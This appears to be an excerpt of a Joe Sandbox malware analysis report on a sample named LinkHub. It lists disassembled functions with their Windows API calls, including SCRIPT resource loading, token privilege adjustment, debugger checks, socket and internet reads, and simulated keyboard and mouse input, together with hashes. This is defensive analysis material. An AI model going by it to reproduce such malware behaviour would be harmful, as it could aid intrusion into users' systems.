                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Color$Proc
                                                                            • String ID: (
                                                                            • API String ID: 929743424-2063206799
                                                                            • Opcode ID: 9e69c70899b8355e606cd51bddd548e96f83113d6a21552f542715673b96deb5
                                                                            • Instruction ID: 78ed6e04cd97c8e597b8fcde3abdc5db3a5ca4edda05e8f63a81b1c9b73bb03a
                                                                            • Opcode Fuzzy Hash: 9e69c70899b8355e606cd51bddd548e96f83113d6a21552f542715673b96deb5
                                                                            • Instruction Fuzzy Hash: 238139B0208000BDE628663D5C98EBF299EDB62354B15011FF142F6BD6C96ADF829276
                                                                            Function 00E43A0E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00E156C2,?,?,00000000,00000000), ref: 00E43A1E
                                                                            • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00E156C2,?,?,00000000,00000000), ref: 00E43A35
                                                                            • LoadResource.KERNEL32(?,00000000,?,?,00E156C2,?,?,00000000,00000000,?,?,?,?,?,?,00DD66CE), ref: 00E43A45
                                                                            • SizeofResource.KERNEL32(?,00000000,?,?,00E156C2,?,?,00000000,00000000,?,?,?,?,?,?,00DD66CE), ref: 00E43A56
                                                                            • LockResource.KERNEL32(00E156C2,?,?,00E156C2,?,?,00000000,00000000,?,?,?,?,?,?,00DD66CE,?), ref: 00E43A65
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                                            • String ID: SCRIPT
                                                                            • API String ID: 3051347437-3967369404
                                                                            • Opcode ID: f119baf04b77102323f694376b24aab8115b656f477a4ce0d5a68bf9a5a9364e
                                                                            • Instruction ID: a52a58359c8805fc9edc5f727cfdc6cad53ffe0fe113083aa8d79060b79d914b
                                                                            • Opcode Fuzzy Hash: f119baf04b77102323f694376b24aab8115b656f477a4ce0d5a68bf9a5a9364e
                                                                            • Instruction Fuzzy Hash: 3B117C70A40701BFD7258B26EC48F277BB9EBC5B54F14426CF452E65A0DBB1DD049620
                                                                            Function 00E320AA Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E31900: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00E31916
                                                                              • Part of subcall function 00E31900: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00E31922
                                                                              • Part of subcall function 00E31900: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00E31931
                                                                              • Part of subcall function 00E31900: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00E31938
                                                                              • Part of subcall function 00E31900: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00E3194E
                                                                            • GetLengthSid.ADVAPI32(?,00000000,00E31C81), ref: 00E320FB
                                                                            • GetProcessHeap.KERNEL32(00000008,00000000), ref: 00E32107
                                                                            • HeapAlloc.KERNEL32(00000000), ref: 00E3210E
                                                                            • CopySid.ADVAPI32(00000000,00000000,?), ref: 00E32127
                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00E31C81), ref: 00E3213B
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E32142
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                                            • String ID:
                                                                            • API String ID: 3008561057-0
                                                                            • Opcode ID: cdf9fe53a19ca8ea56b05f644ee9fd5fd10f5d8e8ea9359f0b13ba1f81f000a5
                                                                            • Instruction ID: ee053cdd7a888cc35b83ca1574165a32175718980802a74a4bd5a007aae0f185
                                                                            • Opcode Fuzzy Hash: cdf9fe53a19ca8ea56b05f644ee9fd5fd10f5d8e8ea9359f0b13ba1f81f000a5
                                                                            • Instruction Fuzzy Hash: 2A11AC71A02204FFDB149BA5ED09BAF7FB9EF45399F54801CEA81B7120C7B59948CB60
                                                                            Function 00E4A570 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                            • FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00E4A5BD
                                                                            • FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00E4A6D0
                                                                              • Part of subcall function 00E442B9: GetInputState.USER32 ref: 00E44310
                                                                              • Part of subcall function 00E442B9: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E443AB
                                                                            • Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00E4A5ED
                                                                            • FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00E4A6BA
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
                                                                            • String ID: *.*
                                                                            • API String ID: 1972594611-438819550
                                                                            • Opcode ID: ad2b960091f97f5594bae17f3e2ab13ae915c97ba084bde19c0435c22f832695
                                                                            • Instruction ID: 0f9896f73c6de7c5fcf76f2136bee4d03094561bc3d3b9265740a6f0d1ebf36d
                                                                            • Opcode Fuzzy Hash: ad2b960091f97f5594bae17f3e2ab13ae915c97ba084bde19c0435c22f832695
                                                                            • Instruction Fuzzy Hash: 9541827194020AAFDF10DF64DD45AEEBBB4EF04324F1950A6E405B32A1EB709E44CF61
                                                                            Function 00E52263 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E53AAB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00E53AD7
                                                                              • Part of subcall function 00E53AAB: _wcslen.LIBCMT ref: 00E53AF8
                                                                            • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00E522BA
                                                                            • WSAGetLastError.WSOCK32 ref: 00E522E1
                                                                            • bind.WSOCK32(00000000,?,00000010), ref: 00E52338
                                                                            • WSAGetLastError.WSOCK32 ref: 00E52343
                                                                            • closesocket.WSOCK32(00000000), ref: 00E52372
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
                                                                            • String ID:
                                                                            • API String ID: 1601658205-0
                                                                            • Opcode ID: 1dc79490df1fbe9e582e83d8e4bed5f7876e940b39a51ac14ceda4baf879b1d9
                                                                            • Instruction ID: 2368134a16e8bb90a003f91868bd8c87d9b9443c1bef1ce823d11e171d7315d8
                                                                            • Opcode Fuzzy Hash: 1dc79490df1fbe9e582e83d8e4bed5f7876e940b39a51ac14ceda4baf879b1d9
                                                                            • Instruction Fuzzy Hash: 3351C075A00200AFE710AF24C886F2A77A5EB45758F58848DF906AF393C671AD458BF1
                                                                            Function 00E626DD Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                            • String ID:
                                                                            • API String ID: 292994002-0
                                                                            • Opcode ID: a2abe3870b4dd38226d1119be0c12290d6a20b8ebe65b20c4aa5804c9f857f3f
                                                                            • Instruction ID: 0b598c572437b173cb4a3b1f7b476a6415dcc531c68e86b9cb6e0680790c5bf4
                                                                            • Opcode Fuzzy Hash: a2abe3870b4dd38226d1119be0c12290d6a20b8ebe65b20c4aa5804c9f857f3f
                                                                            • Instruction Fuzzy Hash: AF210531B406008FD7109F26E844F5A7BE4EF94398B58906EE94AAB351CB71FC42CBA0
                                                                            Function 00E4D889 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • InternetReadFile.WININET(?,?,00000400,?), ref: 00E4D8CE
                                                                            • GetLastError.KERNEL32(?,00000000), ref: 00E4D92F
                                                                            • SetEvent.KERNEL32(?,?,00000000), ref: 00E4D943
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorEventFileInternetLastRead
                                                                            • String ID:
                                                                            • API String ID: 234945975-0
                                                                            • Opcode ID: 2deeb7fabb62ba03a16e34bded115f896e707ff4aaf6cae3eb2fa4adad9df408
                                                                            • Instruction ID: 0c6e4912f39f14d37522982e588ac076d43bdbff9fa41325ba217881f7a9f483
                                                                            • Opcode Fuzzy Hash: 2deeb7fabb62ba03a16e34bded115f896e707ff4aaf6cae3eb2fa4adad9df408
                                                                            • Instruction Fuzzy Hash: FD219071A08705AFE7209F66EC44BAB77FCEB80358F10541EE646F2151D7B0EA048B60
                                                                            Function 00E3E472 Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • lstrlenW.KERNEL32(?,00E146AC), ref: 00E3E482
                                                                            • GetFileAttributesW.KERNEL32(?), ref: 00E3E491
                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 00E3E4A2
                                                                            • FindClose.KERNEL32(00000000), ref: 00E3E4AE
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FileFind$AttributesCloseFirstlstrlen
                                                                            • String ID:
                                                                            • API String ID: 2695905019-0
                                                                            • Opcode ID: 10b6f555757c21b057350a945e7b78b3b70e65a2f7dba0625aa02416d9a21d5d
                                                                            • Instruction ID: e05e3c69b3abd7ea77011bd842e5f2a25c834c2b6fb316fba981687926e17060
                                                                            • Opcode Fuzzy Hash: 10b6f555757c21b057350a945e7b78b3b70e65a2f7dba0625aa02416d9a21d5d
                                                                            • Instruction Fuzzy Hash: AFF0E5308189159BD210673CBC0D8AB7F6DAF0A339F904701F8B6E22F0D7B89D99C695
                                                                            Function 00E2E5F4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LocalTime
                                                                            • String ID: %.3d$X64
                                                                            • API String ID: 481472006-1077770165
                                                                            • Opcode ID: cbe4fd0c925dfce6492bb9ab969d5e6f67d402100a5695daa976e374d2a03998
                                                                            • Instruction ID: 9f168b3bd22806179cb9700c7b77d9a288719fe3bdab087e8bd8663093ea7865
                                                                            • Opcode Fuzzy Hash: cbe4fd0c925dfce6492bb9ab969d5e6f67d402100a5695daa976e374d2a03998
                                                                            • Instruction Fuzzy Hash: 33D012B1C08238DACB90E791AD48CF9737CAB18700F545452F906B1150EB24D9489731
                                                                            Function 00E02992 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00E02A8A
                                                                            • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00E02A94
                                                                            • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00E02AA1
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                            • String ID:
                                                                            • API String ID: 3906539128-0
                                                                            • Opcode ID: 352df85162d3cd12ef15194896b5014b97cf10111df5aa8f15e78f1d4d0a2545
                                                                            • Instruction ID: 2dc277a501e57f4e1711a0e5801ad27a65fd8531c73d3427a8283211f6f52b45
                                                                            • Opcode Fuzzy Hash: 352df85162d3cd12ef15194896b5014b97cf10111df5aa8f15e78f1d4d0a2545
                                                                            • Instruction Fuzzy Hash: 5831D57490122C9BCB21DF68DD887DDBBB8AF08350F5081DAE90CA7261EB709F858F55
                                                                            Function 00E32010 Relevance: 4.6, APIs: 3, Instructions: 68COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DF014B: __CxxThrowException@8.LIBVCRUNTIME ref: 00DF09D8
                                                                              • Part of subcall function 00DF014B: __CxxThrowException@8.LIBVCRUNTIME ref: 00DF09F5
                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00E3205A
                                                                            • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00E32087
                                                                            • GetLastError.KERNEL32 ref: 00E32097
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
                                                                            • String ID:
                                                                            • API String ID: 577356006-0
                                                                            • Opcode ID: 8160667eaeb8a1d3c0893577d1e62daf6bd62b01ffcf2f06454a93dc08c63178
                                                                            • Instruction ID: e73ea1e69932407eb40940d894dbcaf7213bc922c65a07878bfc292ac839cf65
                                                                            • Opcode Fuzzy Hash: 8160667eaeb8a1d3c0893577d1e62daf6bd62b01ffcf2f06454a93dc08c63178
                                                                            • Instruction Fuzzy Hash: 4D11BFB1904305AFD7289F54EC8AD6BBBB8EB04750F21841EE186A3251DB70BC45CA20
                                                                            Function 00E3ECD0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 00E3ED04
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: mouse_event
                                                                            • String ID: DOWN
                                                                            • API String ID: 2434400541-711622031
                                                                            • Opcode ID: 6c4d4a9e1bb006ecbc026f6a4e02d1dacd329912c68fdc4aab9851b89bcc5aa0
                                                                            • Instruction ID: b2574dcb8cc651d875fe82bb06963cc7a9f76253520fece5e18c4cfdd1a82730
                                                                            • Opcode Fuzzy Hash: 6c4d4a9e1bb006ecbc026f6a4e02d1dacd329912c68fdc4aab9851b89bcc5aa0
                                                                            • Instruction Fuzzy Hash: C6E0862529D72578BD0421247C0AEF7474C8F12B38B516146FC00F41C0ED905C4291B4
                                                                            Function 00E2E652 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetUserNameW.ADVAPI32(?,?), ref: 00E2E664
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: NameUser
                                                                            • String ID: X64
                                                                            • API String ID: 2645101109-893830106
                                                                            • Opcode ID: aea3912d9a126f3aa7120d45c000961fbed7e8763fe31dd83f12da71aaca9885
                                                                            • Instruction ID: 0a87a5f052169318dc9a414b0fd61711a4cd35ea1aec3b52b3cf9545888ef7d7
                                                                            • Opcode Fuzzy Hash: aea3912d9a126f3aa7120d45c000961fbed7e8763fe31dd83f12da71aaca9885
                                                                            • Instruction Fuzzy Hash: 4FD0C9B480512DEACB80DB50EC88DDA777CBB04304F100651F146B2140D77095488B20
                                                                            Function 00E441FA Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00E552EE,?,?,00000035,?), ref: 00E44229
                                                                            • FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00E552EE,?,?,00000035,?), ref: 00E44239
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorFormatLastMessage
                                                                            • String ID:
                                                                            • API String ID: 3479602957-0
                                                                            • Opcode ID: 8c445a8f939fc7701889353fe7970754cb5b5871f74eedba7cc6a6bf12619272
                                                                            • Instruction ID: 8040114e5bd9067877cd26b6d653b5f309ad433fb21968d672c30fd991d1ee99
                                                                            • Opcode Fuzzy Hash: 8c445a8f939fc7701889353fe7970754cb5b5871f74eedba7cc6a6bf12619272
                                                                            • Instruction Fuzzy Hash: A0F0E5707042286AE72016B6AC4DFEB76ADEFC57B1F000176F505E22D1D9B09944C6B0
                                                                            Function 00E3BBED Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00E3BC24
                                                                            • keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00E3BC37
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: InputSendkeybd_event
                                                                            • String ID:
                                                                            • API String ID: 3536248340-0
                                                                            • Opcode ID: ec33f72d9c74af909dfe9a33f550585588d1e6373900777e4c421ef708ceecda
                                                                            • Instruction ID: 7e2ab413f3da29f7869fe1867bfa4c3915821f9016758aa2d913de59a7a07538
                                                                            • Opcode Fuzzy Hash: ec33f72d9c74af909dfe9a33f550585588d1e6373900777e4c421ef708ceecda
                                                                            • Instruction Fuzzy Hash: 65F0497090424DABDB019FA1D809BAEBFB0EF04309F00900AF956A9192C7798605DF94
                                                                            Function 00E31A0B Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00E31B48), ref: 00E31A20
                                                                            • CloseHandle.KERNEL32(?,?,00E31B48), ref: 00E31A35
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
